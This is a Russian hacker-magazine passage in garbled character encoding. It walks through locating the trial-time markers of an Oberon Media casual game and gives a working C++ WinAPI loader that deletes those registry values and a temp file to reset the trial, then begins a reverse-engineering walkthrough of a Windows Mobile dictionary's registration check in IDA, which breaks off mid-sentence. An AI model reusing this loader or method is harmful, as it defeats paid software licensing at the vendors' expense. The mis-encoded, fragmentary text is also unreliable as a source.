çàïóñòèòü èãðó åùå ðàç, òî ìû óâèäèì, ÷òî îòâåäåí-
íîå íàì âðåìÿ óìåíüøèëîñü íà ÷èñëî, êðàòíîå ïÿòè.

Ïðîöåññ óñòàíîâêè çàêîí÷åí! Åñëè êòî-òî íå
ïîíÿë, îáúÿñíþ. Âñå õèòðûå ìàíèïóëÿöèè áûëè
íàïðàâëåíû íà òî, ÷òîáû îòñëåäèòü èçìåíåíèÿ,
ïðîèçîøåäøèå ïîñëå óñòàíîâêè è ïåðâîãî çàïóñêà
èãðû. Áëàãîäàðÿ èì WinTools ñìîæåò ïîëíîñòüþ
óäàëèòü èãðó, äàæå ôàéëû, îñòàâëåííûå ðîäíûì
uninstaller’îì. Îäíàêî ìû âîñïîëüçóåìñÿ ýòèìè
ñâåäåíèÿìè íåìíîãî ïî-äðóãîìó.

ïîèñê ììåòîê ttrial’íîñòè. Íäà-à, ìîæíî èãðàòü
òîëüêî ÷àñ — íå î÷åíü ìíîãî. Ãäå æå èãðóøêà õðà-
íèò çàïèñü î òîì, ñêîëüêî âðåìåíè èãðîê ïðîâåë
çà íåé? Â ðååñòðå? Â ïðèíöèïå, ïðàâèëüíî. Çàïó-
ñêàåì regedit.exe è ñìîòðèì.

Ëþáîé ÷åëîâåê, åñëè îí çíàåò, ÷òî òàêîå ðå-
åñòð, ñðàçó ïîñìîòðèò âåòêè â HKCU\Software 
è ìãíîâåííî îáíàðóæèò âåòâü Oberon Media, à â
íåé — åùå îäèí ðàçäåë, êîòîðûé âìåñòî èìåíè
èìååò äåâÿòèçíà÷íîå ÷èñëî. Íå òåðÿÿ âðåìåíè,
çàõîäèì â ýòîò ðàçäåë — ñðàçó ñòàíîâèòñÿ ÿñíî,
÷òî öåëü äîñòèãíóòà: îáíàðóæèâàþòñÿ òàêèå êëþ-
÷è, êàê Registered, MaxUsage, KeyData è äð. À âîò
è íåò, êàê íè ïðèñêîðáíî… Ðàçíûå ìàíèïóëÿöèè
ñî çíà÷åíèÿìè ýòèõ êëþ÷åé íå ïðèâåëè íè ê ÷åìó
õîðîøåìó: âðåìÿ, îòâåäåííîå «ñâîáîäíîé èãðå»,
ïðîäîëæàëî íåóêëîííî ñîêðàùàòüñÿ.

Íàñòàëî âðåìÿ «òÿæåëîé àðòèëëåðèè». Èäåì â òó
ïàïêó, ãäå óñòàíîâëåíà WinTools. Çäåñü íàõîäèì
êàòàëîã Data, â íåì — äèðåêòîðèþ ñ èìåíåì, ïîä
êîòîðûì áûëè ñîõðàíåíû ðåçóëüòàòû ðàáîòû óòè-
ëèòû. Çäåñü èíòåðåñóåìñÿ ôàéëîì registry.dog.
Îòêðûâàåì åãî â òåêñòîâîì ðåäàêòîðå — ïåðåä
íàìè ïðåäñòàåò ñïèñîê âñåõ èçìåíåíèé, âíåñåí-
íûõ â ðååñòð ýòîé èãðîé.

Îäíàêî êàê âûÿñíèòü, ÷òî èç íàéäåííîãî —
òîò ñàìûé çàâåòíûé êëþ÷èê, êîòîðûé îòïèðàåò âñå
äâåðè? Î÷åíü ïðîñòî. Èäåì â ïàïêó, êóäà áûë
óñòàíîâëåí Luxor, è íàõîäèì â íåé ôàéë install.log.
Íàäåþñü, âñå óæå äîãàäàëèñü, ÷òî èäåÿ ïðîñòà äî
áåçîáðàçèÿ: èãðà íèêîãäà íå óäàëèò ìåòêè trial’íî-
ñòè, ïîýòîìó â install.log íå îêàæåòñÿ òåõ çàïèñåé,
êîòîðûå åñòü â registry.dog, è îíè áóäóò çëîñ÷àñò-
íûìè êëþ÷àìè ðååñòðà.

Ãëàâíàÿ ñòðàíèöà games.icq.com

ÄÀÍÍÀß ÑÒÀÒÜß ÍÀÏÈ-

ÑÀÍÀ ÄËß ÒÎÃÎ, ×ÒÎ-

ÁÛ ÏÎÊÀÇÀÒÜ ÐÀÇÐÀ-

ÁÎÒ×ÈÊÀÌ ÏÎ ÍÀÑ-

ÊÎËÜÊÎ ÑËÀÁÎÉ ÁÛ-

ÂÀÅÒ ÇÀÙÈÒÀ ÈÕ ÏÐÎ-

ÄÓÊÒÎÂ. ÀÂÒÎÐ È ÐÅ-

ÄÀÊÖÈß ÍÅ ÍÅÑÓÒ ÎÒ-

ÂÅÒÑÒÂÅÍÍÎÑÒÈ ÇÀ

ÏÐÈÌÅÍÅÍÈÅ ÈÍÔÎÐ-

ÌÀÖÈÈ Â ÏÐÎÒÈÂÎÇÀ-

ÊÎÍÍÛÕ ÖÅËßÕ
Èçìåíåíèÿ, âíåñåííûå èãðîé â ðååñòðÎôèöèàëüíûå èçìåíåíèÿ, âíåñåííûå èãðîé



Íî íå ñòîèò óäàëÿòü èõ âñå — íåêîòîðûå ìîãóò
îêàçàòüñÿ äîâîëüíî áåçîáèäíûìè. Âûáåðåì
òîëüêî ñàìûå-ñàìûå ïîäîçðèòåëüíûå. Íà òàêîé
ñëó÷àé áûëî áû õîðîøî èìåòü îïûò, òàê êàê
ñëèøêîì áäèòåëüíûå ëþäè ìîãóò çàáðàêîâàòü
âñå êëþ÷è, à ñëèøêîì äîáðûå — íå çàìåòèòü
ñîâñåì íè÷åãî ñòðàííîãî. Ìíå íå ïîíðàâèëèñü
âîò ýòè òðè çàïèñè:

[HKEY_CLASSES_ROOT\CLSID\{942D82A5-DA03-

640B-5E19-3CBD62700780}\]wPzA

[HKEY_LOCAL_MACHINE\Software\Licen-

ses\]{IC8265E20B243C369}

[HKEY_LOCAL_MACHINE\Software\Licen-

ses\]{0C8265E20B243C369}

Íàñ÷åò ïåðâîé çàïèñè íå âîçíèêàåò íèêàêèõ ñîì-
íåíèé: îíà ÿâíî ñãåíåðèðîâàííà random’îì è ñëó-
æèò ìåòêîé. Äâå äðóãèå ÿ âûáðàë ïîòîìó, ÷òî ñëî-
âî «ëèöåíçèÿ» âûçûâàåò ó ìåíÿ áóðíóþ àëëåðãè-

÷åñêóþ ðåàêöèþ ñ ëåãêèìè ïðèñòóïàìè ýïèëåïñèè.
Èòàê, óäàëÿåì èõ, çàïóñêàåì èãðó è…

âñå îîñòàëîñü ïïî-ïïðåæíåìó, âðåìÿ íå ñáðîñè-
ëîñü. Áîëåå òîãî, îíî ïðîäîëæàåò óìåíüøàòüñÿ. Ïî-
ïûòàåìñÿ óäàëèòü âñå îñòàâøèåñÿ «ëèøíèå» çà-
ïèñè ðååñòðà — áåçðåçóëüòàòíî. È âäðóã íà óì
ïðèõîäèò ìûñëü: «À ÷òî åñëè ìåòêîé ñëóæèò åùå è
êàêîé-íèáóäü ôàéë íà æåñòêîì äèñêå???»

Òàì, ãäå ëåæàë registry.dog, íàõîäèì hard-
disk.dog è âñìàòðèâàåìñÿ â åãî ñîäåðæèìîå. Åñëè
ñ ïåðâîé ïîïûòêè òû áûñòðî îáíàðóæèë çàïèñü
[HKEY_CLASSES_ROOT\CLSID\{942D82A5-DA03-
640B-5E19-3CBD62700780}\]wPzA, òî áåç òðóäà çà-
ìåòèøü ôàéë DB365884.TMP (ëåæèò â C:\Docu-
ments and Settings\Èìÿ_ïîëüçîâàòåëÿ\Local Set-
tings\Temp\). Åãî èìÿ òîæå äîâîëüíî ïîäîçðèòåëü-
íî. Ñíà÷àëà ÿ ïîäóìàë, ÷òî ýòîò ôàéë ñîçäàåòñÿ
âî âðåìÿ óñòàíîâêè èãðû è óæå äàâíî åãî íåò òàì,
íî, êàê íè ñòðàííî, îí ïðåñïîêîéíî, òèõî è ìèðíî
ëåæàë èìåííî òàì.

Ïðèñìîòðèìñÿ ê ýòîìó ôàéëó ïîáëèæå. Ñîäåðæà-
íèå íå ðàñïîëàãàåò íè ê êàêîìó äîâåðèþ, ê òîìó
æå äàòà ñîçäàíèÿ è ìîäèôèêàöèè íå ñîîòâåòñòâó-
åò äåéñòâèòåëüíîñòè. Äëÿ òîãî ÷òîáû îêîí÷àòåëü-
íî óäîñòîâåðèòüñÿ â åãî âèíîâíîñòè, çàïóñòèì, à
ïîòîì âûêëþ÷èì èãðó åùå ðàç è ïîñìîòðèì, ÷òî
ïðîèçîøëî ñ íèì. Êàê è ïðåäïîëàãàëîñü, äàòà ñîç-
äàíèÿ/ìîäèôèêàöèè èçìåíèëàñü, ïðè÷åì âíîâü
íåïðàâèëüíî. Åñëè ïðèãëÿäåòüñÿ ïîâíèìàòåëüíåå,
òî óäàñòñÿ çàìåòèòü, ÷òî è ñîäåðæàíèå ôàéëà íå
ñîõðàíèëî ïåðâîíà÷àëüíûé âèä. Òåïåðü òî÷íî èç-
âåñòíî, ÷òî åùå îäíèì ïîäîçðåâàåìûì ÿâëÿåòñÿ
DB365884.TMP.

Òåïåðü ïðîâåðèì, íàñêîëüêî òî÷íî áûëè
íàéäåíû âñå ìåòêè, îñòàâëåííûå èãðóøêîé: óäà-
ëèì òðè âûøåïåðå÷èñëåííûå çàïèñè â ðååñòðå è
ôàéë DB365884.TMP, çàïóñòèì èãðó è… Î ÷óäî!
Íåâåðîÿòíî! Âðåìÿ îïÿòü ñáðîñèëîñü äî 60-òè
ìèíóò. Íåêîòîðûå îñîáî ïðèäèð÷èâûå, êîíå÷íî æå,
ñïðîñÿò: «À ÷òî åñëè îòâåäåííûé ÷àñ èñòå÷åò âî
âðåìÿ èãðû?» Âñå áóäåò íîðìàëüíî — èç èãðû òå-
áÿ íå âûêèíóò.

Õîðîøî, êîíå÷íî, íî êàê-òî íå î÷åíü õî-
÷åòñÿ êàæäûé ðàç ïðàâèòü ðååñòð è óäàëÿòü
ôàéë èç òåìïîâîé äèðåêòîðèè. Âîò è ïîïðîáóåì
àâòîìàòèçèðîâàòü ïðîöåññ — íàïèøåì ñïå-
öèàëüíûé çàãðóç÷èê.

àëãîðèòì lloader’à áóäåò î÷åíü ïðîñòûì, íî 
ÿ âñå-òàêè ðàñïèøó åãî äîâîëüíî ïîäðîáíî:

1  ÎÒÊÐÛÒÜ ÊËÞ× HKEY_LOCAL_MACHI-
NE\SOFTWARE\LICENSES È ÓÄÀËÈÒÜ ÄÂÀ
ÏÀÐÀÌÅÒÐÀ, ÍÓÆÍÛÅ ÍÀÌ;

2  ÇÀÊÐÛÒÜ ÊËÞ× HKEY_LOCAL_MACHI-
NE\SOFTWARE\LICENSES;

3  ÎÒÊÐÛÒÜ ÊËÞ× HKEY_LOCAL_MACHI-
NE\SOFTWARE\CLASSES\CLSID\{942D82A5-
DA03-640B-5E19-3CBD62700780} È ÓÄÀ-
ËÈÒÜ ÍÓÆÍÛÉ ÏÀÐÀÌÅÒÐ;

4 ÇÀÊÐÛÒÜ ÊËÞ× HKEY_LOCAL_MACHI-
NE\SOFTWARE\CLASSES\CLSID\{942D82A5-
DA03-640B-5E19-3CBD62700780};

5 ÏÎËÓ×ÈÒÜ ÀÄÐÅÑ ÂÐÅÌÅÍÍÎÉ 
ÄÈÐÅÊÒÎÐÈÈ;

6 ÓÄÀËÈÒÜ ÔÀÉË DB365884.TMP;
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ëëèèññòòèèííããèè

Ëèñòèíã ¹¹1.  ÏÏðèìåð ççàãðóç÷èêà 
void Loader (void)

{

//handle êëþ÷à ðååñòðà

HKEY hk;

//Ñòðîêà, â êîòîðóþ çàïèøåòñÿ ïóòü ê âðåìåííîé ïàïêå

char TmpPath[1024];

//Èìÿ ôàéëà, êîòîðûé íàäî óäàëèòü

const char *fName="DB365884.TMP";

//Îòêðûâàåì êëþ÷ HKEY_LOCAL_MACHINE\SOFTWARE\Licenses

if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Licenses",&hk))

//åñëè îøèáêà, òî âûâîäèì ñîîáùåíèå

MessageBox(NULL,"Íåâîçìîæíî îòêðûòü êëþ÷ ðååñòðà"," Îøèáêà ",MB_ICONERROR);

//óäàëÿåì íåíóæíûå ïàðàìåòðû

RegDeleteValue(hk,"{IC8265E20B243C369}");

RegDeleteValue(hk,"{0C8265E20B243C369}");

//çàêðûâàåì êëþ÷

RegCloseKey(hk);

//òî æå ñàìîå, íî äëÿ äðóãîãî êëþ÷à è çíà÷åíèÿ

if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\CLSID\\{942D82A5-DA03-

640B-5E19-3CBD62700780}",&hk))

MessageBox(NULL," Íåâîçìîæíî îòêðûòü êëþ÷ ðååñòðà "," Îøèáêà ",MB_ICONERROR);

RegDeleteValue(hk,"wPzA");

RegCloseKey(hk);

//ïîëó÷àåì ïóòü ê âðåìåííîé ïàïêå

GetTempPath(1000,TmpPath);

//äîáàâëÿåì èìÿ ôàéëà, êîòîðûé íàäî óäàëèòü

strcat(TmpPath,fName);

//óäàëÿåì åãî

if(!DeleteFile(TmpPath))

//Åñëè íå ïîëó÷èëîñü, òî âûâîäèì ñîîòâåòñòâóþùåå ñîîáùåíèå

MessageBox(NULL,"Íåâîçìîæíî óäàëèòü ôàéë èç âðåìåííîé äèðåêòîðèè",

"Îøèáêà",MB_ICONERROR);

//çàïóñêàåì èãðó

ShellExecute(0,"open","launch.exe",NULL,NULL,SW_SHOWNORMAL);

}

Èíñòðóìåíò èññëåäîâàòåëÿ



7 ÇÀÏÓÑÒÈÒÜ LAUNCH.EXE ÈÇ ÊÀÒÀËÎ-
ÃÀ, ÊÓÄÀ ÓÑÒÀÍÎÂËÅÍÀ ÈÃÐÀ.

Çàìå÷ó, ÷òî â òðåòüåì ïóíêòå ñïèñêà çíà÷åíèå
{942D82A5-DA03-640B-5E19-3CBD62700780} îòíî-
ñèòñÿ òîëüêî ê äàííîé èãðóøêå — äðóãèå æå èìå-
þò ñîáñòâåííûå GUID’û. Òî æå ñàìîå îòíîñèòñÿ ê
èìåíè ôàéëà íà øåñòîì øàãå.

Áóäåì ðåàëèçîâûâàòü Loader íà WinAPI-
ôóíêöèÿõ, ÷òîáû ñäåëàòü êîä áîëåå íåçàâèñèìûì
îò ÿçûêà ïðîãðàììèðîâàíèÿ. Ýòè ôóíêöèè áóäóò
âûçâàíû ïðè ïîìîùè C++.

Òåïåðü ïî ïîðÿäêó. Äëÿ îòêðûòèÿ íåêîòîðîãî
êëþ÷à ðååñòðà ïîíàäîáèòñÿ ôóíêöèÿ RegOpenKey.
Âîò  åå ïðîòîòèï.

LONG RegOpenKey(HKEY hKey, LPCTSTR 

lpSubKey, PHKEY phkResult);

ïàðàìåòð hhKey — ýòî çíà÷åíèå áàçîâîé âåòêè ðå-
åñòðà, ãäå ðàñïîëîæåí íóæíûé íàì êëþ÷. Äëÿ íà-
÷àëà ìîæíî óêàçàòü, íàïðèìåð, HKEY_CURRENT_US-
ER èëè HKEY_LOCAL_MACHINE. 
lpSubKey — óêàçàòåëü íà íóëü-òåðìèíàëüíóþ ñòðî-
êó — ñîäåðæèò èìÿ îòêðûâàåìîãî êëþ÷à â âåòêå.
phkResult — ýòî àäðåñ õýíäëà îòêðûòîãî êëþ-
÷à. Ôóíêöèÿ çàïèøåò òóäà êàêîå-òî çíà÷åíèå, è
åñëè âûçîâ ýòîé API çàâåðøèòñÿ óäà÷íî, òî âåð-
íåòñÿ NULL, â ïðîòèâîïîëîæíîì ñëó÷àå — ëþ-
áîå äðóãîå íåíóëåâîå çíà÷åíèå. Ñëåäóþùàÿ íóæ-
íàÿ íàì ôóíêöèÿ:

LONG RegDeleteValue(HKEY hKey, LPCTSTR 

lpValueName);

çäåñü hhKey — îïÿòü æå õýíäë êëþ÷à, ëèáî çíà÷å-
íèÿ ïî óìîë÷àíèþ (HKEY_CURRENT_USER è ò.ä.),
ëèáî õýíäë, êîòîðûé RegOpenKey çàïèñàëà ïî àä-
ðåñó phkResult.
lpValueName — óêàçàòåëü íà ñòðîêó, ñîäåðæàùóþ
èìÿ ïàðàìåòðà, êîòîðûé äîëæåí áûòü óäàëåí.
Åñëè ôóíêöèÿ âûïîëíèëàñü óñïåøíî, òî âîçâðà-
ùàåòñÿ çíà÷åíèå ERROR_SUCCESS. Â ïðîòèâíîì
ñëó÷àå — ëþáîå äðóãîå íåíóëåâîå çíà÷åíèå.

Äëÿ çàêðûòèÿ êëþ÷à âûçûâàåòñÿ ôóíêöèÿ
RegCloseKey.

LONG RegCloseKey(HKEY hKey);

Åäèíñòâåííûì åå ïàðàìåòðîì ÿâëÿåòñÿ õýíäë íà
îòêðûòûé ðàíåå êëþ÷. Âîçâðàùàåìûå çíà÷åíèÿ —
òàêèå æå, êàê è ó ïðåäûäóùåé API.

Íà ýòîì ðàáîòó ñ ðååñòðîì ïðîøó ñ÷èòàòü çà-
âåðøåííîé. Íà÷èíàåòñÿ ñîïåíèå íàä ôàéëîâîé ñè-
ñòåìîé. Íàïîìèíàþ, ÷òî äëÿ ðàáîòû èãðóøêè áåç
îãðàíè÷åíèé òðåáóåòñÿ óäàëèòü ôàéë DB3658-
84.TMP èç âðåìåííîãî êàòàëîãà, êîòîðûé íå âñåã-
äà ðàñïîëàãàåòñÿ â îäíîì è òîì æå ìåñòå, — ýòî
åäèíñòâåííàÿ ïðîáëåìà â äàííûé ìîìåíò. Òàê
ãäå èìåííî èñêàòü? ×òîáû çíàòü òî÷íî, íóæíî
îïðåäåëèòü ïîëíûé ïóòü äî ýòîé äèðåêòîðèè, ÷òî

äåëàåòñÿ ïðè ïîìîùè ôóíêöèè GetTempPath.
Îíà îïèñàíà íèæå.

DWORD GetTempPath(DWORD nBufferLength, 

LPTSTR lpBuffer);

nBufferLength — ðàçìåð áóôåðà, êóäà áóäåò çàïè-
ñàí ïîëíûé ïóòü. lpBuffer — ñàì áóôåð èëè, åñòå-
ñòâåííî, ñòðîêà (êîìó êàê íðàâèòñÿ).

Òåïåðü, êîãäà ìû òî÷íî çíàåì ìåñòî õðàíå-
íèÿ «íåõîðîøåãî» ôàéëà, îñòàëîñü ëèøü óäàëèòü
åãî, äëÿ ÷åãî âûçûâàåì ñëåäóþùåå:

BOOL DeleteFile(LPCTSTR lpFileName);

Åäèíñòâåííûì ïàðàìåòðîì ýòîé ôóíêöèè ÿâëÿ-
åòñÿ ïîëíîå èìÿ óäàëÿåìîãî ôàéëà. Â ñëó÷àå
óñïåøíîãî âûïîëíåíèÿ âîçâðàùàåòñÿ íåíóëå-
âîå çíà÷åíèå. Äëÿ çàïóñêà ñàìîé èãðû èñïîëü-
çóåì ShellExecute.

HINSTANCE ShellExecute(HWND hwnd, LPCT-

STR lpOperation, LPCTSTR lpFile, LPCT-

STR lpParameters, LPCTSTR lpDirectory, 

INT nShowCmd);

Ïåðâûì ïàðàìåòðîì ýòîé ôóíêöèè ÿâëÿåòñÿ õýíäë
ðîäèòåëüñêîãî îêíà. lpOperation — ñòðîêà, ñîäåð-
æàùàÿ âèä îïåðàöèè, êîòîðûé äîëæåí áûòü ïðîèç-
âåäåí íàä ôàéëîì (íàïðèìåð open èëè print). lpFi-
le — ñîáñòâåííî, è åñòü èìÿ ôàéëà, êîòîðûé ìû
áóäåì âûçûâàòü. lpParameters — ïàðàìåòðû, êîòî-

ðûå ïåðåäàþòñÿ âûçûâàåìîìó ïðèëîæåíèþ. lpDi-
rectory — ðàáî÷àÿ äèðåêòîðèÿ. nShowCmd — ðå-
æèì îòîáðàæåíèÿ.
Òåïåðü ñîáðàíà ïîëíàÿ èíôîðìàöèÿ, íóæíàÿ ÷òî-
áû íàïèñàòü ñîáñòâåííûé çàãðóç÷èê ê èãðå. Ñìåëî
ñìîòðèì íà ëèñòèíã 1.

trial-ççàùèòà ïïàëà. Ìîæåò áûòü, êòî-òî çàäàë-
ñÿ âîïðîñîì: îòëè÷àþòñÿ ëè (íà äðóãèõ ìàøèíàõ)
íàçâàíèå tmp-ôàéëà è ïàðàìåòð â ðååñòðå, èñ-
ïîëüçóåìûå äëÿ êîíòðîëÿ âðåìåíè. Òàêèå æå ïî-
äîçðåíèÿ â êàêîé-òî ìîìåíò âîçíèêëè è ó ìåíÿ,
íî èõ îïðîâåðãëè ìíîãî÷èñëåííûå òåñòû. Ôàêòè-
÷åñêè, ïðîãðàììèñòû óõèùðÿëèñü çðÿ. Ñîáñòâåí-
íî, îíè äåéñòâîâàëè ïî òîìó æå ïðèíöèïó, êàê
åñëè áû êòî-òî ïîâåñèë çàìîê ñ èäåíòèôèêàöèåé
ïî ñåò÷àòêå ãëàçà íà ñòàðóþ äåðåâÿííóþ ïðîã-
íèâøóþ äâåðü.

Áîëåå òîãî, êàê ÿ ãîâîðèë âûøå, âñå èãðû íà
ñàéòå games.icq.com ïîä áðåíäîì Oberon Media èìå-
þò ïîõîæèé ìåõàíèçì çàùèòû. Òî åñòü, êàê ãîâî-
ðèòñÿ, öåïü êðåïêà íàñòîëüêî, íàñêîëüêî ïðî÷íî åå
ñàìîå ñëàáîå çâåíî. Ïîëó÷àåòñÿ, ÷òî ÷åëîâåê, äà-
æå î÷åíü íåóìåëûé â ïðîãðàììèðîâàíèè, äàæå
åñëè îí ñëàáî ïðåäñòàâëÿåò ñåáå âíóòðåííèå
óñòðîéñòâî Windows è íå èìååò íèêàêèõ ñïåöèàëè-
çèðîâàííûõ èíñòðóìåíòîâ, ñìîæåò ïðèíåñòè ãè-
ãàíòñêèå óáûòêè öåëîé êîìïàíèè. Ïðîöåññ îáíàðó-
æåíèÿ ìåòîê trial’íîñòè íå ñîñòàâëÿåò íèêàêîãî òðó-
äà, à íàïèñàíèå Loader’îâ åùå ïðîùå: íóæíî âñåãî
ëèøü çàìåíèòü íåñêîëüêî ñðîê â øàáëîíå, êîòî-
ðûé òû ïèøåøü âñåãî îäèí ðàç. Îñîáî ëåíèâûå ìî-
ãóò äàæå àâòîìàòèçèðîâàòü ýòî äåëî 
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óìåíèå ííàïèñàòü ããåíåðàòîð êêëþ÷åé âñåãäà
òðåáîâàëî îò èññëåäîâàòåëÿ õîðîøåãî çíàíèÿ àñ-
ñåìáëåðà, îñíîâíûõ ñïîñîáîâ çàùèòû,  à èíîãäà è
âûñîêîãî óðîâíÿ îáùåé ýðóäèöèè, òàê êàê íèêîãäà
íå çíàåøü, ÷òî ðàçðàáîò÷èê çàõî÷åò èñïîëüçîâàòü
äëÿ ñîçäàíèÿ êëþ÷à: ìîæåò, êîìïëåêñíûå ÷èñëà, à
ìîæåò, è óðàâíåíèå Øðåäåíãåðà. Ïóñòü ýòî çàíÿ-
òèå îòíèìàåò áîëüøå âðåìåíè, ÷åì ïðîïàò÷èâà-
íèå (õîòÿ åñëè ó÷èòûâàòü óðîâåíü ñîâðåìåííûõ
çàùèò è ðàçëè÷íûõ ïðèåìîâ, ìåøàþùèõ èçìå-
íèòü êîä ïðîãðàììû, ïîëó÷àåòñÿ êàê ðàç íàîáî-
ðîò), îíî îáëàäàåò è ïëþñàìè, îïðîâåðãíóòü çíà-
÷åíèå êîòîðûõ íåâîçìîæíî. Íàïðèìåð, ðàçáèðàÿ
àëãîðèòì ãåíåðàöèè, ìîæíî áûòü àáñîëþòíî óâå-
ðåííûì, ÷òî íå ïðèäåòñÿ èñïðàâëÿòü ïðîâåðêè öå-
ëîñòíîñòè ïðîãðàììû, óáèðàòü íàäïèñè «not regi-
stered», èñêàòü ïî âñåìó êîäó, à ïîòîì áëîêèðî-
âàòü íàçîéëèâûå îêîøêè ñ íàïîìèíàíèÿìè îá
èñòå÷åíèè ñðîêà ýêñïëóàòàöèè. Êðîìå òîãî, î÷å-

âèäíî, ÷òî âñå ãëþêè ïðîãðàììû îñòàíóòñÿ èñêëþ-
÷èòåëüíî íà ñîâåñòè ðàçðàáîò÷èêà. Íó è, ðàçóìå-
åòñÿ, òîëüêî êëþ÷ ñïîñîáåí äàòü ýòî ñëàäêîå îùó-
ùåíèå «êóïëåííîñòè» äîðîãîãî ïðîãðàììíîãî
ïðîäóêòà. Óáåäèòåëüíî? Òîãäà ïåðåéäåì ê ðàñ-
ñìîòðåíèþ ïðîöåññà.

èíñòðóìåíòàðèé èèññëåäîâàòåëÿ ïðèëîæåíèé
äëÿ WindowsMobile â ïîñëåäíåå âðåìÿ íåìíîãî èç-
ìåíèëñÿ. Ê ïðèìåðó, îñíîâíîé êîìïîíåíò eMbed-
ded Visual C++ 4.0 SP4 áûë çàìåíåí èíòåðàêòèâ-
íûì äèçàññåìáëåðîì IDA 4.9, â êîòîðûé âêëþ÷åí
WinCE Debugger. Â ðåçóëüòàòå áûëî óñêîðåíî «îá-
ùåíèå» ñ óñòðîéñòâîì è ïîëó÷åí «áàëüçàì è îïî-
ëàñêèâàòåëü â îäíîì ôëàêîíå», òî åñòü èñ÷åçëà
íåîáõîäèìîñòü ïåðåêëþ÷àòüñÿ ìåæäó îêíàìè îò-

ëàä÷èêà è äèçàññåìáëåðà. Ê ñ÷àñòüþ, òàêàÿ çàìå-
íà íå ÿâëÿåòñÿ îáÿçàòåëüíîé, ïîýòîìó âñå îïèñàí-
íîå íèæå ìîæíî ïðîäåëàòü è ñ èñïîëüçîâàíèåì
eVC. Â ïðèíöèïå, ýòîãî äîñòàòî÷íî, íî ìîãó ïîñî-
âåòîâàòü óñòàíîâèòü Microsoft Device Emulator, ÷òî-
áû íå ãóáèòü ðåàëüíîå óñòðîéñòâî. Ïîñêîëüêó ðàç-
áîð àëãîðèòìà ïîäðàçóìåâàåò óñèëåííîå êîïàíèå
â êîäå ARM àññåìáëåðà, äîáàâëþ ê òðåáîâàíèÿì
çíàíèå îñíîâ ýòîãî ÿçûêà ïðîãðàììèðîâàíèÿ.

â êêà÷åñòâå îîáúåêòà èèññëåäîâàíèÿ âîçüìåì
«Àíãëî-àíãëèéñêèé òîëêîâûé ñëîâàðü Lexisgoo
v2.4» ñ ñàéòà www.ppclink.com è ñîâìåñòèì ïðèÿòíîå
(èçó÷åíèå èíîñòðàííîãî ÿçûêà) ñ ïîëåçíûì (îïûò
èññëåäîâàíèÿ ïðèëîæåíèé äëÿ WindowsMobile).
Ïðîãðàììà íå ìàëåíüêàÿ, öåëûõ 22 Ìá, íî ìû âñå-
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òàêè çàäàëèñü öåëüþ óçíàòü ÷òî-òî íîâîå è íàó-
÷èòüñÿ ÷åìó-òî, à íå ïîâòîðÿòü ÷óæèå äåéñòâèÿ,
ïîýòîìó êà÷àòü åå íåîáÿçàòåëüíî.

Êàê îáû÷íî, äëÿ íà÷àëà íóæíî óñòàíîâèòü ïðî-
ãðàììó íà ÊÏÊ èëè íà ýìóëÿòîð, ÷òî ìîæíî ñäåëàòü
è ÷åðåç ActiveSync, èëè ðàçâîðà÷èâàíèåì cab-ôàéëà
íåïîñðåäñòâåííî íà ÊÏÊ ñ ïîìîùüþ cabinstall. Äà-
ëåå ñêîïèðóåì èñïîëíÿåìûé ôàéë ñ ÊÏÊ íà ÏÊ äëÿ
ïîñëåäóþùåãî àíàëèçà. Â IDA âûáèðàåì File New,
â ïîÿâèâøåìñÿ îêíå æìåì íà çàêëàäêó PDAs 
Handhelds Phones, ãäå èç âñåãî ïðåäñòàâëåííîãî
ðàçíîîáðàçèÿ íàì áîëüøå âñåãî ïîäõîäèò PocketPC
ARM Executable. Â îêíå Wizard íà ïåðâîé ñòðàíèöå
âûáèðàåì îáå ãàëî÷êè (Imported DLL options è Analy-
sis options), íà âòîðîé òàêæå îòìå÷àåì âñå (Create im-
ports segment, Create Resource Segment). Îñòàëüíûå
íàñòðîéêè îñòàâëÿåì ïî óìîë÷àíèþ, òî åñòü æìåì
«Äàëåå» íåñêîëüêî ðàç. Ïîñëå çàêðûòèÿ Wizard íà÷-
íåòñÿ àíàëèç èñïîëíÿåìîãî ôàéëà. Êîãäà ýòîò äëè-
òåëüíûé ïðîöåññ ïîäîéäåò ê êîíöó, ïåðâîå, ÷òî ìû
ñäåëàåì, — âíèìàòåëüíî ïðîñìîòðèì ñîäåðæèìîå
îêíà Strings Window. Î÷åíü ñêîðî íàì óäàñòñÿ
îáíàðóæèòü òî, ÷òî â ëèñòèíãå IDA âûãëÿäèò êàê
«Ñòðîêè ñîîáùåíèé äëÿ MessageBox».

Ïåðåä íàìè ñïèñîê ñòðîê, êîòîðûå èñïîëüçó-
þòñÿ â ñîîáùåíèÿõ òèïà MessageBox, óâåäîìëÿþ-
ùèõ îá óñïåøíîé èëè íåóñïåøíîé ðåãèñòðàöèè.
×òîáû íàéòè ìåñòî, ãäå âûçûâàåòñÿ òà èëè èíàÿ
ñòðîêà, íåîáõîäèìî ïðîäâèãàòüñÿ ââåðõ ïî ïåðå-
êðåñòíûì ññûëêàì (XREF). Íàïðèìåð, ùåëêíóâ ïî
ññûëêå «DATA XREF: .text:off_2926C» (ñîîòâåòñòâó-
åò ôðàçå îá óäà÷íîé ðåãèñòðàöèè), ïîïàäàåì ñþäà:

.text:0002926C off_2926C DCD aThankyou-

ForReg ; DATA XREF: .text:00029254

Cíîâà ùåëêàåì ïî «DATA XREF: .text:00029254»
è, íàêîíåö, âèäèì êîä («Ñîîáùåíèå îá óäà÷íîé
ðåãèñòðàöèè»).

Î÷åâèäíî, ÷òî ýòîò êîä ôîðìèðóåò ïàðàìåòðû
ñîîáùåíèÿ îá óñïåøíîé ðåãèñòðàöèè (çàãîëîâîê è
òåêñò «Thank you for registering our product»), ïîñëå
÷åãî ïðîèñõîäèò âûçîâ ôóíêöèè CWnd__Message-
BoxW (áîëåå ïðèâû÷íûé âèä CWnd::MessageBoxW).
Ïåðåõîä íà ýòîò áëîê îñóùåñòâëÿåòñÿ ñ àäðåñà
29210, òî åñòü ïðîâåðêà ââåäåííîãî êëþ÷à íà ïðà-
âèëüíîñòü è ïðèíÿòèå ðåøåíèÿ î òîì, êàêîå èìåííî
ñîîáùåíèå âûâîäèòü ïîëüçîâàòåëþ, íàõîäèòñÿ ãäå-
òî âûøå. Ïîäíèìåìñÿ ÷óòü âûøå ê àäðåñó 29210 .

Èòàê, ðåøåíèå ïðèíèìàåòñÿ ïîñëå çàãðóçêè èç
ïàìÿòè è ïîñëåäóþùåãî àíàëèçà ñîäåðæèìîãî ðåãè-
